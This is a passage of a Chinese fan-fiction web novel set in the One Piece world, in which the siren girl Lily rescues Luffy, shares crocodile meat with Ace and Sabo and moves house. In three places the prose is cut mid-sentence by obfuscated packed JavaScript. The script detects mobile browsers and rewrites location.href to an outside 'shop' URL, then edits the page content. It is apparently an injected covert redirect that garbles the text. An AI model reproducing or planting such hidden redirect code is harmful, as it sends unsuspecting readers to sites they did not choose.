路飞不是说他要当海贼吗,居然不会游泳……这和厨子不会烧火有什么区别。我也回到水中,游向萨博指的方向。 身为塞壬的我即使是人型状态,在水中的速度也比人类快多了。我花了一秒超过艾斯,看到了前方路飞的身影。他在水中无力地扑腾着,一直带在头上的草帽不知所踪,发丝轻飘飘地随着水波晃荡,看起来像是一团可爱的黑毛球。 我刚准备笑,就注意到他身后浮现出了一个巨大的阴影。 鳄,鳄鱼?! 我张嘴发出一声威慑性的尖啸,双腿瞬间转换为鱼尾。我奋力摆动宽大有力的尾鳍,在水中化作一道利箭冲向路飞。 鳄鱼被我的声音惊得一愣,没有立刻张嘴攻击路飞。 我趁着这个机会抱住路飞的腰,一尾巴扇在鳄鱼的眼睛上,借力转身回游。前面的水里飘着一只翻肚皮的艾斯——刚才我着急救路飞,没留神用尾巴扇到了他的脑袋。我用另一只手抓住艾斯的手臂,带着他们俩飞快地冲向岸边。 到达无法自如游动的浅水区,我展开羽翼冲出水面。水花飞溅,在阳光下折射出一片片晃眼的彩色波光。 他们俩谁都比我重,更何况是加起来的重量。羽翼无法负担这样的重量,即使我很努力地挥动着羽翼,也只是滑翔了一小段距离。 好在这一小段距离已经足够了,我们三个交缠在一起,四仰八叉地摔到安全的沙地上。 艾斯从最底下摇摇晃晃地爬出来,甩了甩晕乎乎的脑袋,咬牙切齿地说:“决定了,今天吃鳄鱼肉!”说罢,他抽出背后的钢管,向着追过来的鳄鱼扑去。 萨博笑得见牙不见眼,抖着手拿起钢管跟上:“哈哈,我也来帮忙。” 路飞爬起来咳出几口水,像打湿毛发的小狗一样把脑袋甩出残影,洒落大片水珠。他呼出一口气:“吓死我了,刚才差点被吃掉。谢谢你救了我,莉莉。”路飞的目光在我的羽翼和尾巴上来回移动,他歪着脑袋问:“为什么又长出鱼尾巴了,你是人鱼吗?” “这个嘛……”我也爬起来,拍打掉沾到身上的砂砾。我想了想,既然路飞能抗住一整个下午的严刑拷问,不向伯尔杰米透露我们的消息,可见他是值得信任的,于是我把我的秘密告诉了他:“不是人鱼,我的种族是塞壬。” “塞壬?” “一个像我这样人身鱼尾,长了翅膀的种族。” 路飞茫然地眨了两下眼睛:“那不就是长了翅膀会飞的人鱼吗?” “不是,塞壬是塞壬,人鱼是人鱼,我们是两个不同的种族。” 他在沙地上用手指画出一条长了人类四肢的鱼,指着那个玩意儿和我说:“我知道了,人鱼其实是这个样子的,对吧?” “不是,人鱼和我一样也是人身鱼尾,只是没有长翅膀。” “所以莉莉就是长了翅膀的人鱼啊。”路飞苦恼地皱起脸,想不明白我为什么要否认他之前的话。 我感觉再说下去我会被他带沟里,果断结束了这个话题:“你这样理解也行吧。” “嘻嘻,原来爷爷没有骗我,世界上真的有人鱼!” “……”有一种被他耍了的错觉。 短短几句话的功夫,萨博和艾斯打得鳄鱼满头是包,把没有意识的它拖上了岸。 艾斯脱下湿透的红色背心,一边拧水一边叫我:“莉莉,过来帮忙处理鳄鱼。” 我应了一声,在路飞流淌着水珠的额头上轻轻一拍,那些打湿他的水化作一只只透明的水蝶,拍打着翅膀飞出他的衣服和身体,蹁翩跹跹地落向地面。接触到地面后,水蝶们重新变回一颗颗水珠,悄无声息地融入其中。 这是我的控水术——生命剥离,现阶段的能力效果是快速去除物体表面的水分。在我的预设中,这个招术的最终效果是无视防御和装备,直接抽取生物体内的水份。 路飞伸手捞了一大把没来得及落地的水蝶,好奇地观察。水蝶在他的掌心变成水珠,顺着他的指缝往下流淌。他抬起头,眼睛里亮起闪亮的小星星:“这个招式好有趣,教教我莉莉,我也想学!” “这是塞壬的能力啦,人类是学不会的。” 路飞发出一声失落的鼻音,像是只被抢走了肉骨头的小狗一样可怜巴巴地看着我:“诶——真的不能学吗?” “真的啦。”我忍不住笑出来。 路飞沮丧地垂下肩膀,抬手摸向后脑勺,摸了个空。他又摸向自己的后颈,再一次摸空。路飞愣了一会儿,神色突然变得慌乱:“啊,帽子!我的草帽不见了!” 草帽?哦,说起来从第一次见面开始,他就一直戴着一顶草帽呢。对路飞来说,那应该是很重要的东西吧。 萨博怀里捧着几块适合搭建石头篝火的鹅卵石,站在正给鳄鱼剥皮的艾斯旁边遥遥问道:“是不是刚才落水里了?” “高处的视野比较开阔,我飞到天上去看看吧。”说罢,我振翅飞上天空。 “莉莉,不是让你过来处理鳄鱼吗!”下方传来艾斯不爽的声音。 然后是萨博带着笑意的声音:“没关系啦,我们又不赶时间,让莉莉先帮路飞找帽子吧。” 轻柔的春风吹动着我的头发,仿佛水流一般在发丝之间流动摇曳。我把脸侧的头发别到耳后,眯起眼睛在水潭周边四处搜寻。 啊,找到了!那顶草帽正飘在水潭中央。 我收拢羽翼向下低飞,掠过映照着蓝天白云的水面,将路飞的草帽捡了起来。 “哇呼!幸亏有你,莉莉!”路飞欢呼着跑过来,他向我伸出双手,想要接过那顶草帽。 我没有直接把草帽交给路飞,而是合拢羽翼在岸边坐下,将深蓝色的尾鳍浸入潭水中,提议道:“我给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222182|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗一下吧,感觉脏兮兮的。” “啊?——哦,好呀,谢谢。”路飞点了点头,挨着我坐下,学着我的样子也把脚伸进了潭水中。 我左手拿着路飞的草帽,右手控制着五股水流从水面螺旋升起,水流随着我右手的移动流向路飞的草帽,在草杆的缝隙之间穿行冲刷,清洗出其中的污渍。 路飞眼睛闪亮地捧着脸,不停发出“好厉害”的惊叹。 “这一招叫水龙卷,是我正在开发中的攻击技能。”我被路飞崇拜的目光看得浑身轻飘飘的,情不自禁地说起对“水龙卷”未来的设想,“以后这五条水流会凝聚成五条巨大的水龙,在我的控制下冲向我的敌人,张开大嘴将他们吞掉!怎么样,很帅吧?” “帅!”路飞大声回答,他一脸期待地想象着我描述的画面,脚尖踢起一片片水花。“真想马上就看到完成版的水龙卷,威力一定超级大!” “嘿嘿。”我笑出一片五彩小花,把清洗过后焕然新生的草帽递给路飞,“好啦,洗干净了。” 路飞接过草帽,看了又看,爱不释手。 “太谢谢你了,莉莉,洗得真干净!”他感激地说道。 “既然是很重要的草帽,以后要好好爱护它哦,路飞。” “嗯!” 我飞向萨博和艾斯身边,用生命剥离依次清理掉我们三个身上的潭水,免得伤口被生水感染或者惹上奇怪的寄生虫病,然后在篝火旁边坐下,帮忙把萨博分割好的鳄鱼肉串到木棍上。 “莉莉的能力越来越厉害了呢。”萨博摸着自己干爽的衣服感叹。 路飞也在帮忙串鳄鱼肉,他听了萨博的话,猛猛点头:“对啊对啊,超厉害,是不可思议的魔法!” 艾斯接过我们串好的鳄鱼肉串挨个插到篝火上方,凉凉地说:“要防御没防御,要攻击没攻击,到底哪里厉害了?莉莉,你以后要当那种负责清洁衣服打扫甲板的杂役海贼吗?” 换做平时,我肯定会因为艾斯的话生气,但现在我这边出现了一个更让我在意的问题。 “萨博,今天出门的时候你带我的备用胖次了吗?” 萨博露出“糟糕了”的表情。 我怀着不多的期望询问艾斯。 艾斯眼皮都没抬一下 ,随口道:“那种东西不穿也无所谓吧。” 我面无表情地盯着他的侧脸,在心里想:你等着吧,回去我就把你的胖次翻出来全部扔掉,既然你觉得不穿也无所谓。 “虽然没搞明白是怎么回事,但是我可以把我的胖次给你穿。”路飞行动力超强,一边说一边脱掉了裤子。 我猝不及防间看见了这辈子的第三根胡萝卜,闭上眼睛大叫:“谢谢你的心意,但是我不需要!赶紧把裤子穿上!!!” “我都把胖次让给你了,干嘛突然凶我。”路飞嘟起嘴不满地咕哝,“莉莉,你这样好没礼貌哦。” 萨博一本正经地教训路飞:“笨蛋,莉莉怎么可能穿男孩子的胖次!她可是女孩子,只能穿那种小小的香香的、上面带着蝴蝶结的胖次,你明白吗?” 路飞露出恍然大悟的神情:“哦——是这样啊。”他很真诚地道歉,“对不起,误会你了莉莉,我不知道女孩子只能穿特别的胖次。” 好想把他们全部扔进水潭喂鳄鱼! 29. 烤鳄鱼和挨揍 吃饭的时候,因为没用备用胖次可以穿,我只能继续维持着鱼尾的形态,时不时就得操控装在椰壳里的水浇到尾巴上,保持鳞片的湿润。 萨博一边啃肉一边和路飞搭话:“路飞,你是恶魔果实的能力者吗?” 路飞咽下嘴里的肉,点头:“嗯。” “难怪你不会游泳。——莉莉,你不知道恶魔果实是什么吧。”萨博给我解释这个词语的含义,“恶魔果实被称为海上的秘宝,据说是海之恶魔的化身。不同的恶魔果实具有不同的能力,会让吃掉它们的人变成与之相对应的能力者。作为代价,能力者会被大海厌弃,变成旱鸭子。” 一听到会被大海厌弃,我立刻嫌弃地“噫”了一声,坚定地说:“我绝对不吃这种东西!” “哈哈,要是变成旱鸭子,莉莉就再也不能在大海里游泳了,说不定连操纵海水的能力也会受到影响。”萨博俯身过来摸了摸我的脑袋,认真地叮嘱我,“所以遇见奇怪的水果,一定不要乱吃哦。” 我使劲点头。不过奇怪水果的标准是什么呢,我觉得我在这里见到的每一种水果都挺奇怪的。难道每一次吃新水果之前都要问一遍萨博?感觉好麻烦哦。说起来我种在家附近的桃树该怎么办?要挖出来种到达旦家旁边吗?要是换到环境不一样的地方死掉了怎么办,我还想明年和萨博一起吃它结的美味桃子呢…… “对了,路飞,你吃的是什么果实?” “橡胶果实。”说完这句话,路飞把一块比他的脸还要大的鳄鱼肉吞进嘴里。他的喉咙被撑出鳄鱼肉的形状,随着“咕哝”的声响,那块鳄鱼肉挤进他的食道,落入了他的胃袋。 这种情景我和艾斯在达旦家时常看到,已经见怪不怪了。第一次见到的萨博露出了震惊的表情:“橡胶果实?——哦,是橡胶啊。” “是的。”路飞满足地擦掉嘴角的口水。 牙齿咬了个空,我从满脑子的桃子幻想中回过神来,惊讶地发现我的鳄鱼肉串只剩最后一块了。奇怪,我有吃这么快吗? 我原本坐在萨博和路飞中间,对面是艾斯。艾斯突然走过来,把我拎起来放到他原来的位置。他在我旁边坐下,对路飞怒目而视:“路飞,你居然……” “不用管这种事,艾斯。”萨博打断艾斯的话,笑眯眯地说,“莉莉也该改一改吃饭时候发呆的坏毛病了,有了教训才会有进步。” 我茫然地看了看艾斯,又看向萨博,不明白他们到底在说什么,吃饭的时候把脑子放空有哪里不对啊。 “干嘛在莫名其妙的地方对她这么严格。”艾斯诧异地看了一眼萨博,又转过头来看我,低声嘀咕了一句我没太听清楚的话,好像在骂我是个笨蛋什么的,随后发泄情绪似的狠狠咬了一口手上的鳄鱼肉串。 “因为莉莉总是对别人没有防备心,让我很伤脑筋呢。” 艾斯被鳄鱼肉呛住,狼狈地咳嗽起来。 什么跟什么啊。我见他们俩都没有和我解释的打算,便探头去看路飞,想问问刚才是不是发生了什么,结果看到他含着满嘴的肉一脸心虚,眼珠子和嘴巴都歪向左边。 “???”他们三个都好怪。我横过木棍,打算吃掉最后一块鳄鱼肉,却发现最后一块鳄鱼肉也没了。啊,我又在不知不觉间把食物吃掉了吗?我摸了摸只有半饱的肚子,我怎么觉得这样的事情已经发生过好多次了。 还好水潭就在旁边,即使我吃完了自己的那份肉没填饱肚子也没关系,我还能再从水潭里搞到食物。 吃饱喝足后,萨博脱了大衣遮住我的尾巴,背着我和艾斯路飞出发去往我们的家,从家里收拾出平时要用的东西。 我先在衣柜里找出胖次穿上,变回人型,然后又拿了几条备用的胖次装进可可爱爱的粉色小布包,交给萨博替我保管。当我准备变化成鱼尾形态的时候,我会事先把胖次脱下来放好。有时候事出突然,我没有脱掉胖次的时间,那之后就得靠保存在萨博那里的备用胖次了。 处理完节操危机,我开始收拾自己的东西。 日常的衣服带上几件换洗;毛巾牙膏牙刷润肤乳之类的东西达旦家也有一份,不需要再带了;小熊玩偶我要抱着睡觉,塞进包包里……我还在角落里找到了已经彻底报废的蝴蝶结钢管,也不知道是萨博还是艾斯帮我从伯尔杰米那里带回来的。我心疼地抚摸蝴蝶结钢管扭曲变形的身体,重新系好那个沾了血的粉色蝴蝶结,把它放进了我的玩具箱。 它已经陪伴了我整整三年,是时候好好休息了。 萨博几乎搬空了大半个书架,正在一摞摞地打包书本。艾斯随手从还没打包的书堆里拿出一本翻看,发现这是一本每页都配有好几张插图的童话书。“你每天晚上还在给莉莉念这种东西吗?太幼稚了吧。” “莉莉今年才三岁,书籍简介上写这本书适合5岁以下的幼儿,我觉得很适合莉莉呢。”萨博把这本书从艾斯手里抽走,和其他的童话书一起打包。 “说起这个……”艾斯拎起正在偷吃肉干的路飞,放到正在叠衣服的我旁边。目光扫过我们的头顶。“路飞,你今年几岁?” “七岁。”路飞嚼着肉,声音含糊地回答。 艾斯拧着眉在我和路飞面前蹲下,右手肘撑在膝盖上,右手支着下巴,疑惑又纠结地望着我们的脑袋发愣,喃喃自语道:“看起来居然差不多。是莉莉长得太快了吗?可是这三年也没怎么长过个子……” 我闻言,转头仔细地观察了一下我和路飞的身高差,惊讶地发现他居然比我高了半个脑袋。亏我一直觉得路飞小小的很可爱,结果他比我还要高吗! 路飞注意到我的目光,低头对我笑,拿出肉干递给我:“这个干巴巴的肉嚼起来好香,莉莉你吃吗?” 不要偷摸拿了别人的零食还邀请苦主一起吃。我刚张开嘴想要出声拒绝,路飞趁机将一把肉干塞进我嘴里,笑嘻嘻地向我寻求认同:“没骗你吧,是不是超好吃?” 我难道不清楚自己的零食好不好吃吗!我瞪了他一眼,鼓着腮帮子咀嚼。 路飞小大人似的叹了口气:“你脾气好坏哦,莉莉,给你吃东西还生气。” “……”我感觉我对路飞的可爱滤镜正在逐渐破碎。 “莉莉你今年几岁啦?” 我把肉干咽下去,不知道该怎么回答路飞的问题。我不确定自己的身体有几岁,反正肯定不是萨博和艾斯随便定下的三岁。 我思索了片刻,一脸正直地开口:“八岁。” 我才不要当最小的那个孩子! “诶——?”路飞发出一声疑惑的音节,“可是你明明比我……啊咧?”他仰起头看我,呆住了。 站在我身后、悄悄把我举高的萨博对路飞露出狡黠的笑容:“路飞,莉莉虽然年纪比你小,但是她比你更高,你要叫她姐姐哦。” “姐,姐姐?”路飞瞪圆了眼睛。 不愧是你,萨博,瞎话歪理张嘴就来。 “不要!”路飞不服输地仰高下巴,“要是用身高来决定大小,我现在就长高给你们看!” 路飞撅起嘴,开始猛地往肚子里面吸气,他像个被注入氢气的气球那样圆滚滚地膨胀起来,最终变成了一个直径,还是身高呢……咳,总之此刻他的个头将近三米。路飞用双手捂着嘴巴以防漏气,挺着巨大的球形身体得意地跳了两下:“现在我是最高的那个啦,哈哈哈。艾斯,萨博,你们都要叫我哥哥!” “你这个家伙在说什么梦话?”艾斯危险地眯起眼睛。 萨博把我放下,收敛起脸上的笑容:“我可不会对这种挑衅视而不见哦,路飞。” 我幸灾乐祸地看着路飞被混合双打,冷不防被艾斯拎了过去。 “看别人挨揍很有趣是不是,莉莉?” 我呆呆地抬头看向艾斯。 艾斯把拳头举到嘴边哈了口气,向我的脑门砸过来,怒道:“谁让你在伯尔杰米他们前面露出翅膀了!以前警告你的话全部白讲了是吧!” 我惊呼了一声,下意识闭紧眼睛捂住脑袋。 预想中的疼痛没有到来。我偷偷把眼皮睁开了一条缝,发现是萨博挡住了艾斯的拳头。我连忙躲到萨博身后,抓住他的衣服,把头靠在他背上委屈地哼唧:“哥哥……” “今天就算了吧,艾斯,毕竟我们昨天错过了莉莉的生日,今天要重新给她补上才行。” 昨天过得一片兵荒马乱,我完全忘记生日这件事了。 艾斯“啧”了一声,忍着怒意收回手:“今天暂时放过你。” 萨博把我从他背后拉出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222183|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在我面前蹲下,神色凛然:“我们和你讲过很多遍了吧,一定不能在外人面前暴露出你真正的样子。昨天你是怎么做的呢,莉莉?” 我回忆起昨天展开羽翼冲向路飞时那群小混混的惊叫,心虚地垂下了眼睛。想来想去我又有点不甘心,争辩道:“那时候我看到路飞满身都是血,心里太着急了才会……” “再着急也不能这样!你忘了一年前你为什么会被坏人掳走吗。要不是当时卡普爷爷回来探望艾斯,正好撞上了那艘形迹可疑的奴隶船……”萨博深吸了一口气,没有再说下去。他紧盯着我的眼睛,语气严厉:“莉莉,向我们保证,在你变得足够强大之前,绝对不会再暴露自己的真实形态!” 我确实有点忘记了……因为我一开始就被捂住口鼻迷晕了,之后一直处在昏迷的状态。恢复意识的时候,我已经被卡普带到了他的军舰上。我只记得海军食堂里的饭菜很好吃;海军们脾气也很好,一直带着我在军舰上到处玩。 下船的时候,海军们给我塞了一堆零食和小玩具,泪眼汪汪地向我挥手告别,让我下次再来。卡普把我放在他的肩膀上,一边教我水手们平时爱唱的民谣,一边迈着悠闲自在的步伐带着我在森林中穿行,还给我抓了只神气的大甲虫。 因为在奴隶贩子面前露出了羽翼被抓走的我带着一大堆礼物完好无损地回到家里,见到了满身都是伤的萨博和艾斯——他们以为我被不确定物终点站的流氓集团抓走了,找不到一点相关的线索,又耐不下性子和小混混们套话,干脆举起钢管一个个打上门去,把小混混们打得头破血流后向他们逼问我的下落。 在那之后,萨博和艾斯就不许我在外人面前露出羽翼和尾巴了,也不许我一个人单独行动。 我明白萨博和艾斯是担心我的安危才会这样要求我,于是举起手乖乖回答:“我保证。” 萨博看了我好一会儿,转开脸叹了口气,看起来已经完全不相信我的说辞了。 “莉莉,你上一次,上上次,之前的每一次都是这样说的,用这种事不关己的表情。——艾斯,明天就把莉莉揍一顿吧,这个家伙越来越会敷衍人了。” 艾斯背靠着书架双手环胸,用怀疑的目光上下打量萨博,不悦地问:“萨博,为什么我要揍莉莉的时候你拦着我,你想揍她的时候又让我动手?” “因为我下不去手啊,你比较心狠当然是你上。” “喂,你说的这是什么话!什么叫我比较心狠,我难道是为了欺负这个家伙才揍她的吗!” 两个都想揍我的坏蛋哥哥吵起来了。 我对满头包趴在地上的路飞做了个“噤声”的动作,向他使了个眼色,从萨博和艾斯身边蹑手蹑脚地溜走,免得他们吵上了头当场把我揍一顿。 路飞会意,在地上无声无息地爬走。爬到萨博和艾斯的视线死角后,他一跃而起,抓住我的手就跑。 山洞外的太阳灿烂得晃眼,空气中满是春天独有的草木香气,虫鸣鸟啼热闹非常。我们一路跑到了小溪边,路飞还想跑得更远些,我赶紧阻止了他,开口却是一串抑制不住的笑声。有个一起挨揍一起逃跑的小伙伴还挺开心的。 等我笑够了,我才和路飞解释:“到这里就好,他们站在洞口能看到我,不会追出来。跑太远的话他们马上就会追上来,我又要被教训一顿,划不来的。” “莉莉一定过得很辛苦吧,被艾斯和萨博看得这么紧,一点都不自由。”路飞同情地感叹了一句。他突然睁大眼睛,用手比了比我们俩头顶的位置,惊讶道:“你又变矮了诶莉莉,你的身体也会伸缩吗?” 这两句话我都不想接。余光瞥到我的桃树,我赶紧转移话题:“你看,路飞,这是我的桃树。明年或者后年的时候就能结桃子啦,而且是蓝色的桃子哦。” 路飞垂涎地吞咽口水,开始绕着桃树转圈。“那现在有桃子可以吃吗?” “现在当然没有啦,桃树的年龄还没到,而且春天也不是结桃子的季节。” 路飞面露失望:“没有结桃子的桃树不就是一颗普普通通的树嘛。”他不死心地扯了几张桃叶塞进嘴里,嚼了两下又“呸呸”地吐出去,嫌恶地评价:“难吃!” “……”你脑子里除了吃就没别的东西了吗,倒是好好听别人说话啊! 30. 游戏和搬家 “哦——这几颗石子真不错,圆圆的,大小也刚刚好。”路飞蹲下身,从桃树根部扒拉出几颗小石子。他把石子抓在手里上下抛动,抬头看我:“莉莉,我们一起玩抓石子吧。” “抓石子?” "你没玩过吗?"路飞嘻嘻一笑,朝我招手,“快过来,我教你怎么玩。” “好呀。”我蹲到路飞身边,一边看他演示,一边听他介绍游戏规则。 “首先,先抓出第一颗石子,把他扔到空中,去抓第二颗石子,然后接住第一颗石子,期间不能碰到地上的其他石子。接下来扔出手里的第一颗和第二颗石子,去抓第三颗石子……”路飞演示完所有流程,把小石子递给我,让我试试看。 我原样照做。抛接石子对我来说毫无难度,唯一的难点是我的手太小了,只能抓住四五颗石子。一旦超过这个数量,石子就很容易从手心滚落。路飞没有这个困扰,他的手比我大了一圈,还因为橡胶的特质可以变得更大,甚至能够一口气包住十颗石子。 我感觉现有的规则对我不利,便提议更改游戏规则:“我们每个人分配5颗石子,同时进行抓抛石子的步骤。接住自己抛出的石子后,还可以抢夺对方抛出的石子。掌心里的石子落地或者被对方抢光石子就是输家,怎么样?” “莉莉的玩法听上去更有趣。”路飞爽快地同意了。 一开始我们俩都玩得比较随意,路飞还有闲心讲他在风车村的事情,说风车村的小孩们都不爱和他玩类似的游戏,因为他总是赢。 他讲完话的下一秒,我把他的第5颗石子也抓进了手心。我得意地扬起眉:“你可别像那些小孩一样输不起哦。” “啊,我的石子全部都……”路飞惊讶地看着自己那边空荡荡的地面,随后把脑袋上的草帽取下来放到旁边,嘴硬道:“一定是草帽挡住了我的视线,让我没办法发挥出真正的实力,我们重新开始!” “下一次也是我赢。”我对路飞做了个吐舌头的鬼脸。我可是日复一日,风雨无阻地辛苦锻炼了三年多的时光,无论是神经反应、身体素质或者是动态视力都远远超过同龄人,怎么可能输在这种小游戏上! 萨博出来叫我们的时候,我和路飞正剑拔弩张地进行着第五轮抓石子游戏。在前面的四轮游戏中我和他各赢了两次,这一轮是决定胜负的终局。 “家里还有一些不好保存又没必要带走的食物,莉莉,路飞,你们要吃吗?” 路飞听了萨博的话,理所当然地分了神。我立刻抓住这个间隙抢走最后一颗石子。 差点翻车。我舒了口气,眉开眼笑地跳起来:“是我赢啦!” “嘿嘿,有东西可以吃。”路飞抓起草帽扣到脑袋上,兴冲冲地跑向山洞。他跑到一半发现我没有跟上,连忙回头拉住我的手带我一起往前跑:“莉莉快来!” 在食物面前,游戏的输赢根本无所谓是吧。 艾斯是个暴脾气,但是他的火气来得快去得也快。如果他在想揍我的时候因为各种原因没有揍成,事后也不会把我扯过去补上一拳头。所以我很放心地回到了山洞,坐在他旁边啃鱼糕,还挑了个又大又红的苹果让他帮我削皮。 艾斯把装着白糖的蘸料碟推到我面前,从我手里接过苹果,拿出匕首开始削皮,顺口问了一句:“这次还要兔子苹果吗?” 我慢吞吞地嚼着鱼糕想了一会儿:“今天想吃小鱼形状的。” 艾斯闻言更改了匕首锋刃的方向,将刚才切割出来的兔子耳朵转变成小鱼的尾巴。他把第一块小鱼苹果递给我,突然将匕首掷向小茶几,刀身直直没入桌面。我惊得抖了一下手,差点没拿稳我的小鱼苹果。 脑袋被按住了,艾斯不让我往旁边看。 “刚才有一只小虫子,没事,吃你的。” 我茫然地眨了眨眼睛,只听见了路飞倒抽气的声音和萨博压低的笑声。 吃完东西后,我们带上收拾好的行李回了达旦家。 我经常来这边暂住,儿童房里本来就放了很多属于我的物品,所以我这次没带多少东西过来。我先把粉色的被褥铺好,把我的小熊玩偶塞进被子里,然后打开衣柜,准备把我的衣服放进去。 好乱!衣柜里各种颜色的背心和短裤你压着我的裤腿,我压着你的衣摆,乱七八糟地堆成了一座小山。我还在好几件衣服上看到了干涸的泥巴,用尾巴想都知道一定是脱下来没有清洗就随手塞衣柜里了。 “我只是一个多月没帮你整理,为什么能乱成这个样子?”我抱怨了一句,索性把衣柜里所有的衣服都抱出来扔到被褥上,从头开始处理。首先找出弄脏的、有味道的衣服放到一边,待会儿拿去清洗;然后把干净的没穿过的衣服分成上衣和裤子,一件件叠好。 艾斯脸色微红,他窘迫地抓了抓后脑勺,低声替自己开脱:“都怪路飞那个家伙,自己的衣服不好好放,把我的衣服也弄得一团乱。” “嘿嘿,对不起。”路飞笑嘻嘻地道歉,丝毫不为自己邋里邋遢的生活习惯感到羞愧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222184|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“趁现在衣柜里没有装衣服,赶紧把衣柜内部清理一下吧。我可不想在我的衣服上面看到虫子或者闻到什么奇怪的味道。” 艾斯带着路飞问多古拉要了两张干净的抹布,脱了鞋子爬进衣柜内部,从最上面开始擦拭。 我们三个还在跟衣柜和衣服奋斗的时候,萨博已经在儿童房摆放好了他的个人物品。他把自己叠得整整齐齐的衣服放到一边,望着床上那一堆皱巴巴的衣服感叹:“真是个大工程啊。”然后在我旁边坐下,帮我一起整理艾斯和路飞的衣服。 大致搞定了搬家的事宜,萨博和艾斯拿上钢管,说他们打算先去原本藏财宝的地方看一下,然后再去不确定物终点站探听情报。 路飞吵闹着非要跟他们一起去,还双手叉腰一脸神气地说反正现在他已经能够跟上艾斯不被甩掉了,就算艾斯和萨博不带他一起去,他也会悄悄跟在后面。 我正躺在床上优哉游哉地摇晃着小腿看童话书,突然听见萨博叫了一声我的名字。我仰头一看,萨博用眼神示意我出来帮忙。 我有点不想理会他们之间的事,带上路飞怎么了嘛,他有那么麻烦吗?但是稍微回忆了一下路飞刚才一脚踢翻我叠好的衣服堆,把衣柜门撞出一个洞之类的好心帮倒忙行为后,我觉得我确实得帮忙把路飞留在达旦家,免得他在路上又惹出不必要的麻烦。 我捂住嘴假咳几声,故作虚弱:“啊,我突然感觉头好晕,好难受……” “莉莉昨天受的伤还没有恢复,我们不方便带上她。”萨博按住路飞的肩膀,郑重地对他说,“路飞,能拜托你在家里陪着莉莉,好好照顾她吗?” 路飞犹豫了一会儿,回头看了看我,又看向靠在儿童房门口的艾斯,不是很情愿地答应了。 萨博悄悄给我比了个大拇指。 “对了,不用去边镇买蛋糕,厨师先生说他会做。你们早点回来就好,不要横生枝节,尤其是你,艾斯,不许脑子一热就冲上去打架!现在这种时候我们要尽可能地保持低调。”我不放心地叮嘱了两句。 艾斯没有回头,语气里带着不耐烦:“这种事我当然知道,不用你多嘴。” 知道是一回事,怎么做又是另一回事,别以为我不知道你! “哈哈,别担心,我会看好这个家伙的。”萨博大大咧咧地勾住艾斯的脖子,向我们挥手告别。 路飞也向他们挥手:“拜拜,艾斯,萨博,放心把莉莉交给我吧!” 萨博和艾斯的脚步同时一顿。 31. 亲和咬 “干嘛突然用那种凶巴巴的眼神瞪我,真是莫名其妙。”萨博和艾斯走后,路飞不高兴地和我抱怨。 路飞不是乖乖呆在家里了吗,他们没理由生气吧?我疑惑地问:“你是不是看错了,路飞?” “才没有!”路飞斩钉截铁地反驳我。他歪着头思索了几秒,拿过我的铅笔在脸颊上点出几颗雀斑,将自己脑门中间的碎发撸上去,然后使劲压下眉头,把他那双又大又圆的眼睛挤成凶恶的半月形。 哇,他把艾斯那种桀骜不驯的神态模仿得好像。 路飞把两只手都插进裤兜里,俯身用不友善的目光注视着我,声音也和他平时高亢活泼的声线不同,变得更加低沉:“莉莉你看,刚才艾斯就是这样瞪我的。” 我噗嗤一声笑了出来:“哈哈,路飞你装得好像,真厉害!” 路飞见我笑了,也跟着我嘿嘿地笑,重新变回快乐的小呆瓜。 “还有萨博呢,他是这样的。”路飞笑够了,继续模仿萨博。他擦掉脸上的雀斑,用双手把所有头发都爬梳到脑后,又抓了好几下作出打卷的效果。他将鼻梁扯高了一点,捏尖鼻头,然后舒展开肩膀把身体往后仰,惟妙惟肖地模仿出萨博那种温和中隐含了一丝锐气的小表情,学着萨博轻缓的腔调对我说:“莉莉,你要乖乖听话。” “简直一模一样!笑死我了,路飞你难道是天才吗,哈哈哈。”我一边笑一边猛捶地板。 路飞得意地扬起脑袋:“我不仅会模仿别人,我还特别会做鬼脸呢。”他把自己的鼻子拉得老长,绕来绕去打了个不规整的蝴蝶结,然后又一一扯过耳朵和嘴巴,在脸上胡乱打结。 我笑得在被褥上直打滚,气都快要喘不过来了。 路飞抓住我的手臂摇了摇,指着自己的脸发出几句意味不明的声音:“唔唔,唔唔唔?唔唔唔唔!” 我一见他那张奇怪的脸就忍不住笑,连忙推开他的脸摆手说:“不行了不行了,肚子笑得好痛。路飞,不要再逗我了。” “唔唔!!!”路飞再一次抓住我的手臂,这次的手劲明显比上一次大多了。 我感觉到有点不对劲,脸上的笑意散了大半。他的脸是不是太红了,虽说也有笑成这样的可能性。 路飞双手卡着自己的喉咙,眼睛里滚出两团泪花。 我茫然地看了一会儿,用不太确定的语气问:“……你不会是把嘴巴和鼻子都打成死结,没办法呼吸了吧?” 路飞使劲点头,又用手比划了好几个动作。 我半猜半蒙:“没,没办法自己解开?” 